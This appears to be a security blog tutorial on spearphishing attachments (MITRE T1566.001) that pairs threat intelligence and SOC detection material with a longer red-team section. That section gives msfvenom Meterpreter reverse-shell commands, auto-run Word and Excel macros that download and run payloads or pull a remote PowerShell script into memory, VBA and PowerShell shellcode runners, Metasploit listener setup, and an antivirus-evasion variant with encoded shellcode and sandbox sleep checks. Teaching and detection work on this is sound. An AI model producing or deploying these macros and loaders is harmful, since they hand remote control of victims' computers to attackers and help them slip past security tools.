TACTFlow - Part 0x3.1. Initial Access - Phishing - Spearphishing Attachment (T1566.001)

1. Phishing - Spearphishing Attachment (T1566.001)
If phishing is the art of deception, then spearphishing attachment is the booby-trapped gift attackers can’t wait for you to open. It’s like receiving a suspiciously well-wrapped package, except instead of a surprise inside, you get malware, remote access tools, or a one-way ticket to a security breach.
Spearphishing attachment (T1566.001) is a targeted phishing attack where malicious files are sent via email, disguised as legitimate documents. Unlike generic phishing, which casts a wide net, spearphishing is laser-focused, tailored to trick a specific individual, company, or industry.

If you ask how it's work ? The answer is as the follow:
- The Hook: The attacker researches the target and crafts a convincing email that looks like it’s from a trusted source (your boss, a vendor, or even an IT team).
- The Bait: The email contains an attachment, a Word document, PDF, Excel file, or even an image, that appears harmless but is packed with malicious payloads.
- The Bite: Once the target opens the file and enables macros or interacts with it, the attacker gains access to the system, allowing them to execute commands, steal data, or move laterally within the network.
1.1. CTI & Spearphishing Attachment (T1566.001)
As a CTI analyst, your role in defending against spearphishing attachment attacks begins with analyzing the MITRE ATT&CK Framework in relation to phishing. The key is to monitor public sources for intelligence on the most used techniques, emerging trends, and known threat actors, then map those insights to MITRE ATT&CK tactics relevant to your organization’s assets.
Each organization has a unique infrastructure; whether it’s Windows, Active Directory, VoIP, Cloud environments, or hybrid setups. So it’s crucial to prioritize TTPs based on what applies to your environment.
In this blog series, we will map all relevant TTPs to get a holistic view, as if analyzing an organization that contains all possible assets found in MITRE ATT&CK. This broad approach allows us to break down spearphishing attachment threats in a way that applies to diverse environments, helping both Red Teams and SOC analysts prepare effective defenses.
1.1.1. MITRE ATT&CK Observations
Let's start with MITRE ATT&CK by breaking it down into attack definition, procedure examples, mitigations, and detection; all delivered in a structured way.
-
The attack definition is already described above.

InitialAccess -
Next, we focus on procedures, which include the most commonly used attack methods by APT groups and threat actors leveraging T1566.001. This gives us insight into prioritized attack vectors and tools, helping define our first scope (e.g., targeting Office products, common phishing lures, etc.). The top-priority threats from this analysis will be reported to Red Teaming for adversary simulation.

InitialAccess -
Then, we move on to Mitigations & Detection, which will be used to arm SOC analysts and SOC engineers with defensive strategies, detection rules, and response mechanisms.

InitialAccess
This structured approach ensures that Red Teaming, SOC, and CTI work in sync, closing the gaps that threat actors exploit.
If we closely observe real-world attack procedures and analyze public attack reports from different sources (listed below in Real-World Attack Scenarios), we find that most spearphishing attachment attacks are focused on Microsoft Office products. This is a crucial insight when prioritizing attack simulations and security testing.
For example, if your goal is to prioritize the most impactful spearphishing attachment techniques for red teaming exercises, Microsoft Office-based attacks should be at the top of your list. Threat actors consistently leverage Office-based payloads to achieve Initial Access, making it a high-risk attack vector.
1.1.2. Why Start with Microsoft Office ?
Microsoft Office products are deeply integrated into daily business operations, making them prime targets for spearphishing attacks. Notably, Microsoft Office 365 maintains a significant presence in the productivity software market, with over 2 million companies worldwide relying on its services as of 2024. Additionally, Microsoft's Windows operating system dominates the desktop OS market, holding approximately 72% market share as of February 2024.
Attackers frequently exploit features within Microsoft Office, such as:
- Word macros (
.docm) - Malicious scripts embedded in Word documents that execute upon enabling macros. - Excel formulas (
.xlsm) - Crafted formulas in Excel files that serve as conduits for system compromise. - Embedded links and OLE objects t- Elements that, when interacted with, trigger the download of malicious payloads.
Given the widespread use of Microsoft Office and Windows in organizations, focusing on these platforms allows for targeted and effective defense strategies against spearphishing attachment attacks.
Real-World Attack Scenarios

-
1. Operation Cobalt Kitty (2017) – APT32 (OceanLotus)
- Attack Method: APT32 used spearphishing emails with malicious Microsoft Word documents containing macros.
- Payload: Malicious macros executed PowerShell scripts to establish persistence and exfiltrate data.
- Target: Asian corporations, mainly in the maritime sector.
- Impact: Long-term corporate espionage, data theft, and unauthorized network access.
-
2. FIN7 Targeting Financial & Hospitality Sectors
- Attack Method: FIN7 used phishing emails with weaponized Word attachments exploiting Microsoft Office OLE (Object Linking and Embedding).
- Payload: The malicious document executed JavaScript and PowerShell commands to deploy Carbanak malware.
- Target: Over 100 U.S. companies, including restaurants, hotels, and financial institutions.
- Impact: Stole over $1 billion by gaining unauthorized access to point-of-sale (POS) systems.
-
3. Emotet & TrickBot Using Malicious Macros
- Attack Method: Emotet spread through phishing emails containing malicious Word documents (.docm).
- Payload: When macros were enabled, Emotet downloaded TrickBot, which deployed Ryuk ransomware.
- Target: Enterprises and government organizations worldwide.
- Impact: Led to massive ransomware outbreaks, including disruptions in hospitals and public services.
-
4. QakBot Banking Trojan via Excel 4.0 Macros
- Attack Method: QakBot malware was distributed through Excel email attachments using legacy Excel 4.0 macros (XLM macros).
- Payload: Stole banking credentials and facilitated lateral movement within corporate networks.
- Target: Financial institutions and businesses in the U.S. and Europe.
- Impact: Led to credential theft and secondary ransomware infections.
1.1.3. Other Attack Vectors .. TBD ..
1.2. Red Teaming & Spearphishing Attachment (T1566.001)
As the CTI team has analyzed the TTPs, identified prioritized tools, and mapped the most relevant attack vectors, it's time to put that intelligence into action.
Following the intelligence-driven approach, we will start with Microsoft Office products, as they have been highlighted as the most frequently exploited attack vector. From here, we will systematically move through other prioritized attack vectors, ensuring our simulations align with real-world threats observed in the wild.
By following the path laid out by CTI, we can:
- Replicate the most common attack methods used by APTs and cybercriminals.
- Test how effective security controls are against real phishing payloads.
- Improve SOC detection capabilities by providing them with actionable insights from Red Team simulations.
Now, let’s dive into the technical side-weaponizing Office documents for phishing attacks, evading defenses, and understanding how adversaries exploit this vector.
1.2.1. Microsoft Word as Spearphishing Attachment
Important: Before moving into attacks, please take the following considerations about Microsoft Office Word! {: .prompt-warning }
- Microsoft Word files must be saved as
.docor.docm, as they support embedded macros..docxwill not work. - Ensure macros are properly set in the
document; otherwise, they may only execute locally and not work when opened by the target machine. - Given the simplicity and availability of Metasploit as C2 frameworks, we will itand sometimes msfvenom for payload generation.
- Microsoft Word 64-bit Vs. 32-bit & VBA Execution:
vb1#If VBA7 And Win64 Then 2 'for 64-bit Excel 3 Declare PtrSafe Function GetSystemDirectory Lib "kernel32" _ 4 Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 5#Else 6 'for 32-bit Excel 7 Declare Function GetSystemDirectory Lib "kernel32" _ 8 Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 9#End If
1.2.1.1 Phishing With MS Office - VB Macros - Method 1 (On Disk)
Important: Sometimes you need to insert the FULL path of the payload to be executed! {: .prompt-info } In Method 1 (On DISK), we use VB scripts to download the binary and execute it on the disk.
-
Create the payload using
msfvenom:bash1sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f exe -o pay.exe -
Start a local HTTP server using Python or PHP for file transfer, or use any available tool you typically have on hand.
bash1sudo python -m http.server 80 -
Made the necessary changes to the script.
vb1' The following 2 functions allowed the execution of our macro when the docuemnt is opened 2Sub Document_Open() 3 MyMacro 4End Sub 5 6Sub AutoOpen() 7 MyMacro 8End Sub 9 10Sub MyMacro() 11 Dim str as String 12 str = "powershell (New-Object System.Net.WebClient).DownloadFile('https://192.168.x.x/pay.exe', 'pay.exe')" 13 Shell str, vbHide 14 15 ' The file will dropped on the current file directory, we can execute it from there 16 Dim exePath as String 17 exePath = ActiveDocument.Path + "\pay.exe" 18 19 ' Wait for a 2 second 20 Wait(3) 21 22 ' Execute the payload 23 Shell exePath, vbHide 24End Sub 25 26' The download process may take time, create a function to make a delai (wait time) 27' Due that there is No default function exists on MS Word for Wait 28Sub Wait(n as Long) 29 Dim t as Date 30 t = Now 31 Do 32 ' To do not block MS office, lets it doing other actions (events) 33 DoEvents 34 Loop Until Now >= DateAdd("s", n, t) 35End Sub- You can use
Invoke-WebRequesttoo:vb1powershell Invoke-WebRequest 'https://192.168.x.x/pay.exe' -OutFile 'pay.exe'
- You can use
-
Use Metasploit (
sudo msfconsole -q) and set up amulti-handlerwith the same payload used in msfvenom.bash1use multi/handler 2set payload windows/x64/meterpreter/reverse_https 3set LHOST tun0 4set LPORT 443 5options 6exploit
1.2.1.2 Phishing With MS Office - VB ShellCode Runner (Method 2)
- Create the payload using
msfvenom:bash1sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f vbapplication - Create the VB Macro
vb
1Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr 2 3Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr 4 5Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr 6 7Function MyMacro() 8 Dim buf As Variant 9 Dim addr As LongPtr 10 Dim counter As Long 11 Dim data As Long 12 Dim res As Long 13 14 buf = Array(252, 232, .....) 15 16 addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) 17 18 For counter = LBound(buf) To UBound(buf) 19 data = buf(counter) 20 res = RtlMoveMemory(addr + counter, data, 1) 21 Next counter 22 23 res = CreateThread(0, 0, addr, 0, 0, 0) 24End Function 25 26Sub Document_Open() 27 MyMacro 28End Sub 29 30Sub AutoOpen() 31 MyMacro 32End Sub - Use Metasploit (
sudo msfconsole -q) and set up amulti-handlerwith the same payload used in msfvenom.bash1use multi/handler 2set payload windows/meterpreter/reverse_https 3set LHOST tun0 4set LPORT 443 5set exitfunc thread 6options 7exploit
1.2.1.3 Phishing With MS Office - PowerShell Shellcode Runner (Method 1- In-Memory using Add-Type)
-
Create the payload using
msfvenomand copy it to the scriptrun.ps1below:bash1sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f ps1 -
Host the script on the attack machine as
run.ps1and useDownloadStringin the VBA script to execute it on the victim machine.- VBA Code - This will help download and execute the PowerShell script using VBA.
vb
1Sub Document_Open() 2 MyMacro 3End Sub 4 5Sub AutoOpen() 6 MyMacro 7End Sub 8 9Sub MyMacro() 10 Dim str As String 11 str = "powershell (New-Object System.Net.WebClient).DownloadString('https://192.168.x.x/run.ps1') | IEX" 12 Shell str, vbHide 13End Sub - run.ps1 - hosted on the attacker machine
ps
1$Kernel32 = @" 2using System; 3using System.Runtime.InteropServices; 4 5public class Kernel32 { 6 [DllImport("kernel32")] 7 public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 8 9 [DllImport("kernel32", CharSet=CharSet.Ansi)] 10 public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 11 12 [DllImport("kernel32.dll", SetLastError=true)] 13 public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 14} 15"@ 16 17Add-Type $Kernel32 18 19# Byte[] $buf .. generate shellcode using msfvenom 20 21[Byte[]] $buf = 0xfc,0xe8,0x8f,... 22 23$size = $buf.Length 24 25[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); 26[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size) 27$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0); 28 29# Add the dealy to slove the previous problem 30# 0xFFFFFFFF wait forever, or when we kill the shell 31[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")- C data types can be mapped to C# data types using P/Invoke (Platform Invocation Services). You can find relevant mappings and examples at www.pinvoke.net, such as the implementation of VirtualAlloc.
- VBA Code - This will help download and execute the PowerShell script using VBA.
-
Use Metasploit (
sudo msfconsole -q) and set up amulti-handlerwith the same payload used in msfvenom.bash1use multi/handler 2set payload windows/meterpreter/reverse_https 3set LHOST tun0 4set LPORT 443 5options 6exploit
1.2.1.4 Phishing With MS Office - PowerShell Shellcode Runner (Method 2 - In-Memory Powershell using Reflevtive Load)
Remeber: Addx64to the msfvenom payload (and Metasploit) if you want to test on an x64 architecture. The method below works prior to Method 1 with Office 32-bit ! {: .prompt-info }
- Create the payload using
msfvenomand copy it to the scriptrun.ps1below:bash1sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f ps1 - Host the script on the attack machine as
run.ps1and useDownloadStringin the VBA script to execute it on the victim machine.- VBA Code - This will help download and execute the PowerShell script using VBA.
vb
1Sub Document_Open() 2 MyMacro 3End Sub 4 5Sub AutoOpen() 6 MyMacro 7End Sub 8 9Sub MyMacro() 10 Dim str As String 11 str = "powershell (New-Object System.Net.WebClient).DownloadString('https://192.168.x.x/run.ps1') | IEX" 12 Shell str, vbHide 13End Sub - run.ps1 - hosted on the attacker machine
ps
1function LookupFunc { 2 3 Param ($moduleName, $functionName) 4 5 $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 6 Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 $tmp=@() 8 $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 9 return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 10} 11 12function getDelegateType { 13 14 Param ( 15 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 16 [Parameter(Position = 1)] [Type] $delType = [Void] 17 ) 18 19 $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 20 21$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 22 23$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 24 25 return $type.CreateType() 26} 27 28$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 29 30[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0... 31 32[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 33 34$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) 35 36[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)- What's going on here:
lookupFunc👉🏻 to obtain a reference to the System.dll assembly's GetModuleHandle and GetProcAddress methods using GetType and GetMethod functions (aka the Reflection technique).getDelegateType👉🏻 to define the argument types for the APIs using a delegate type via Reflection and return it.VirtualAlloc👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in virtual address space of the calling process.Copy👉🏻 to copy the shellcode bytes into allocated memory location.CreateThread👉🏻 to create a new execution thread in the calling process and execute the shellcode.WaitForSingleObject👉🏻 to delay termination of the PowerShell script until the shell fully executes.
- What's going on here:
- VBA Code - This will help download and execute the PowerShell script using VBA.
- Use Metasploit (
sudo msfconsole -q) and set up amulti-handlerwith the same payload used in msfvenom.bash1use multi/handler 2set payload windows/meterpreter/reverse_https 3set LHOST tun0 4set LPORT 443 5options 6exploit
1.2.2. Microsoft Excel as Spearphishing Attachment
The same applies to Microsoft Word; make the following changes:
AuoOpentoAuto_OpenDocument_Open()toWorkbook_Open()vb1Sub Auto_Open() 2 myMacro 3End Sub 4 5Sub Workbook_Open() 6 Auto_Open 7End Sub
An example of modified script used before:
vb1' The following 2 functions allowed the execution of our macro when the docuemnt is opened 2Sub Workbook_Open() 3 MyMacro 4End Sub 5 6Sub Auto_Open() 7 MyMacro 8End Sub 9 10 11Sub MyMacro() 12 Dim str As String 13 str = "powershell (New-Object System.Net.WebClient).DownloadFile('https://192.168.x.x/pay.exe', 'pay.exe')" 14 Shell str, vbHide 15 16 ' The file will dropped on the current file directory, we can execute it from there 17 Dim exePath As String 18 exePath = ActiveWorkbook.Path + "\pay.exe" 19 20 If Application.Wait(Now + TimeValue("0:00:2")) Then 21 ' Execute the payload 22 Shell exePath, vbHide 23 End If 24End Sub
1.2.3. Tools: Microsoft Offices & Spearphishing Attachment
- MaliciousMacro MSBuild Generator: https://github.com/infosecn1nja/MaliciousMacroMSBuild
- SpookFlare https://github.com/hlldz/SpookFlare
- BadAssMacros https://github.com/Inf0secRabbit/BadAssMacros
- VBS-Macro-XOR-Generator https://github.com/xbz0n/VBS-Macro-XOR-Generator
1.3. SOC & Spearphishing Attachment (T1566.001)
After the Red Teaming simulation, it’s the SOC team’s responsibility to analyze, detect, and mitigate such attacks in real-world scenarios.
1.3.1. Analysis & Inspection
For a quick investigation of potentially malicious Office documents, SOC analysts can inspect VBA macros using olevba. This tool allows analysts to extract and analyze macros embedded in Office documents.
For instance, to inspect a VBA macro code in a document, you can run the following command:
bash1olevba <suspicious_doc>.ext
Where ext could be docm, doc, xls, xlsm, etc.
Example Output from olevba of previous mentioned attack on the Red Teaming side:
bash1╭─kali@kali ~/tactflow/phishing/spear_phishing/word 2╰─$ olevba invoce.doc 3olevba 0.60.2 on Python 2.7.18 - https://decalage.info/python/oletools 4=============================================================================== 5FILE: invoce.doc 6Type: OLE 7------------------------------------------------------------------------------- 8VBA MACRO ThisDocument.cls 9in file: invoce.doc - OLE stream: u'Macros/VBA/ThisDocument' 10- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 11(empty macro) 12------------------------------------------------------------------------------- 13VBA MACRO NewMacros.bas 14in file: invoce.doc - OLE stream: u'Macros/VBA/NewMacros' 15- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 16Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (...) 17Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (...) 18Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (...) 19 20+----------+--------------------+---------------------------------------------+ 21|Type |Keyword |Description | 22+----------+--------------------+---------------------------------------------+ 23|Suspicious|CreateThread |May inject code into another process | 24|Suspicious|VirtualAlloc |May inject code into another process | 25|Suspicious|RtlMoveMemory |May inject code into another process | 26|Suspicious|Lib |May run code from a DLL | 27+----------+--------------------+---------------------------------------------+--+--------------------+---------------------------------------------+
From the above analysis, we can infer that the document contains suspicious VBA code designed to allocate memory, move memory contents, and create a new thread, which are common techniques for shellcode execution in malware attacks.
1.3.2. Detection Strategies
To enhance the detection capabilities against such attacks, SOC teams can implement the following strategies:
-
Signature-based Detection::
- Develop and deploy YARA rules to detect specific VBA macro functions such as
CreateThread,VirtualAlloc, andRtlMoveMemoryorAutoOpen" andMacros`. For example:bash1rule Suspicious_VBA_Macros { 2 strings: 3 $vba1 = "CreateThread" 4 $vba2 = "VirtualAlloc" 5 $vba3 = "RtlMoveMemory" 6 $vba4 = "kernel32" 7 8 $s1 = "AutoOpen" ascii fullword 9 $s2 = "Macros" wide fullword 10 condition: 11 any of ($vba*) or 12 uint32be(0) == 0xd0cf11e0 or // DOC, PPT, XLS 13 uint32be(0) == 0x504b0304 // DOCX, PPTX, XLSX (PKZIP) 14} 15 - Use SIEM (Security Information and Event Management) systems to flag email attachments containing suspicious macro-enabled documents. For Example:
bash
1index=windows EventCode=4688 ParentImage="*winword.exe" | search Image="*powershell.exe" OR Image="*cmd.exe"
- Develop and deploy YARA rules to detect specific VBA macro functions such as
-
Behavioral Analysis::
- Monitor document execution patterns to detect suspicious activity, such as network requests or process injections.
- Implement endpoint detection and response (EDR) solutions that analyze macro execution and flag anomalies.
-
Threat Intelligence Correlation::
- Leverage threat intelligence feeds to compare known malicious VBA signatures with incoming attachments.
- Cross-reference file hashes, URLs, and IP addresses extracted from macros with known indicators of compromise (IOCs).
1.3.3. Mitigation Strategies
As part of SOC engineering efforts, the following mitigation techniques can help reduce the risk of spearphishing attachments:
-
Email Security Measures:
- Enable attachment sandboxing to automatically detonate and analyze potentially malicious documents before delivery to the user.
- Implement DKIM, SPF, and DMARC policies to reduce phishing attempts.
-
User Awareness Training:
- Conduct regular phishing simulation exercises to educate users on recognizing suspicious emails and attachments.
- Promote a security-first culture where employees report suspicious emails to the SOC team.
-
Endpoint Hardening:
- Disable macros by default in Office applications and enforce group policies to prevent automatic macro execution.
- Restrict access to PowerShell, WMI, and other scripting tools commonly abused by attackers.
By implementing these detection and mitigation strategies, SOC teams can significantly reduce the impact of spearphishing attachment attacks while improving their overall security posture.
1.3.4. P.I.C.E.R.L. and Spearphishing Attachment (T1566.001)
Previously, we discussed various detections, mitigation strategies and security measures to prevent cyber threats. While preventative controls are crucial, they are not foolproof. Threat actors constantly evolve their techniques, and some attacks will inevitably bypass defenses. This is where Incident Response (IR) becomes essential. Instead of just focusing on preventing threats, we must now think like an IR team: detecting, containing, and recovering from real-world cyber incidents.
First of all, what is PICERL ? The P.I.C.E.R.L. framework (Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned) is a structured approach used in cyber incident response to effectively detect, mitigate, and recover from security threats. It ensures that organizations handle incidents proactively and efficiently, reducing the impact of cyberattacks.

The following table outlines a detailed response plan for Spearphishing Attachment attacks, a common Initial Access technique (T1566.001) where attackers use malicious email attachments to deliver malware or steal credentials. This plan provides a step-by-step strategy to detect, contain, and mitigate phishing threats while strengthening security defenses.
| Preparation (P) | Identification (I) | Containment (C) |
|---------------------------------------------|-----------------------------------------------|-------------------------------------------|
| Implement email security gateways (SEG) to filter malicious attachments | Detect phishing emails with SOC monitoring, user reports, and threat intelligence feeds | Quarantine suspected phishing emails before reaching users |
| Enable sandboxing for attachments to analyze suspicious files | Monitor email logs for messages containing macros, executables, or uncommon file types (.docm, .iso, .lnk) | Block sender domains and IP addresses identified in phishing campaigns |
| Configure Advanced Threat Protection (ATP) to detect known phishing patterns | Identify user interactions (who clicked the link or opened attachments) | Revoke user access to affected systems if compromised |
| Conduct regular phishing simulations and security awareness training | Check for PowerShell, VBA macro execution, or network traffic anomalies | Blacklist malicious URLs and IOCs in firewalls and endpoint security tools |
| Enforce email authentication (DMARC, DKIM, SPF) to prevent spoofing | Inspect email headers, sender addresses, and embedded URLs for spoofing indicators | Implement DLP (Data Loss Prevention) rules to prevent data exfiltration |
| Ensure SIEM alerts are configured for phishing indicators | Correlate phishing attempts with known threat actor TTPs | Perform forensic analysis on affected machines |
| Eradication (E) | Recovery (R) | Lessons/Opportunities (L) | |---------------------------------------------|-----------------------------------------------|-------------------------------------------| | Remove all malicious attachments from email servers | Restore user accounts and credentials after validation | Strengthen email security policies based on attack patterns | | Scan infected endpoints for malware or payloads delivered via attachments | Verify logs and endpoint security to confirm no persistence mechanisms exist | Implement stricter attachment filtering for untrusted file types | | Reset credentials of affected users and enforce MFA | Ensure EDR/XDR tools are updated with new threat indicators | Review incident response logs to refine detection rules | | Conduct IOC sweeping in email and SIEM logs for similar threats | Restore backup copies of critical files if modified or encrypted | Develop user awareness programs to improve phishing identification | | Ensure threat signatures are updated in antivirus solutions | Perform post-incident analysis to identify potential vulnerabilities | Test SOC response readiness through tabletop exercises | | Remove persistence mechanisms (registry changes, scheduled tasks) if malware was executed | Implement long-term monitoring for recurring attacks | Regularly review MITRE ATT&CK mappings for phishing evolution |
2. AV/EDR Bypass & Spearphishing Attachment (T1566.001)
2.1. VBA & Bypass AV
-
Create the payload using
msfvenomand copy it to the scriptCeasarVBAHelper.csbelow:bash1sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp -
Use
CeasarVBAHelperC# Script to generate the VBA shellcode:-
We are going to use Caesar Cipher: This is a very simple routine, and reversing it is just as straightforward. By rotating the same number of letters to the left, we can restore the original text:
- We chose a substitution key of 2, iterated through each byte value in the shellcode, and simply added 2 to its value.
- To ensure the modified value remains within the 0-255 range (a single byte), we performed a bitwise AND operation with 0xFF in case the increased byte value exceeds 0xFF.
-
Additionally, we incorporate Sleep Time to help evade detection and bypass certain security mechanisms.
-
The
CeasarVBAHelper.cscsharp1using System; 2using System.Collections.Generic; 3using System.Linq; 4using System.Text; 5using System.Threading.Tasks; 6 7namespace CeasarVBAHelper 8{ 9 class Program 10 { 11 static void Main(string[] args) 12 { 13 // msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp 14 byte[] buf = new byte[752] {0xfc, 0x48, .....} 15 16 byte[] encoded = new byte[buf.Length]; 17 for (int i = 0; i < buf.Length; i++) 18 { 19 encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF); 20 } 21 uint counter = 0; 22 // Output the encrypted shellcode 23 StringBuilder hex = new StringBuilder(encoded.Length * 2); 24 foreach (byte b in encoded) 25 { 26 hex.AppendFormat("{0:D}, ", b); 27 counter++; 28 if(counter % 50 == 0) 29 { 30 hex.AppendFormat("_{0}", Environment.NewLine); 31 } 32 } 33 34 Console.WriteLine("The payload is: " + hex.ToString()); 35 } 36 } 37}
-
-
After compile the program and execute it, insert the output from
CeasarVBAHelper.exe, which contains the encrypted reverse shellcode, into the VBA shellcode runner below:vb1Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr 2 3Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr 4 5Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr 6 7Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long 8 9Function MyMacro() 10 Dim buf As Variant 11 Dim addr As LongPtr 12 Dim counter As Long 13 Dim data As Long 14 Dim res As Long 15 Dim t1 As Date 16 Dim t2 As Date 17 Dim time As Long 18 Dim i As Integer 19 20'sleeper to bypass heuristic detection 21 t1 = Now() 22 Sleep (2000) 23 t2 = Now() 24 time = DateDiff("s", t1, t2) 25 26 If time < 2 Then 27 Exit Function 28 End If 29 30'shellcode generated with the helper 31 buf = Array(254, 234, 145, 2, 2, 2, 98, 51,........) 32 33'decryption routine 34For i = 0 To UBound(buf) 35 buf(i) = buf(i) - 2 36Next i 37 38 addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) 39 40 For counter = LBound(buf) To UBound(buf) 41 data = buf(counter) 42 res = RtlMoveMemory(addr + counter, data, 1) 43 Next counter 44 45 res = CreateThread(0, 0, addr, 0, 0, 0) 46End Function 47 48Sub Document_Open() 49 MyMacro 50End Sub 51 52Sub AutoOpen() 53 MyMacro 54End Sub -
Use Metasploit (
sudo msfconsole -q) and set up amulti-handlerwith the same payload used in msfvenom.bash1use multi/handler 2set payload windows/meterpreter/reverse_https 3set LHOST tun0 4set LPORT 443 5options 6exploit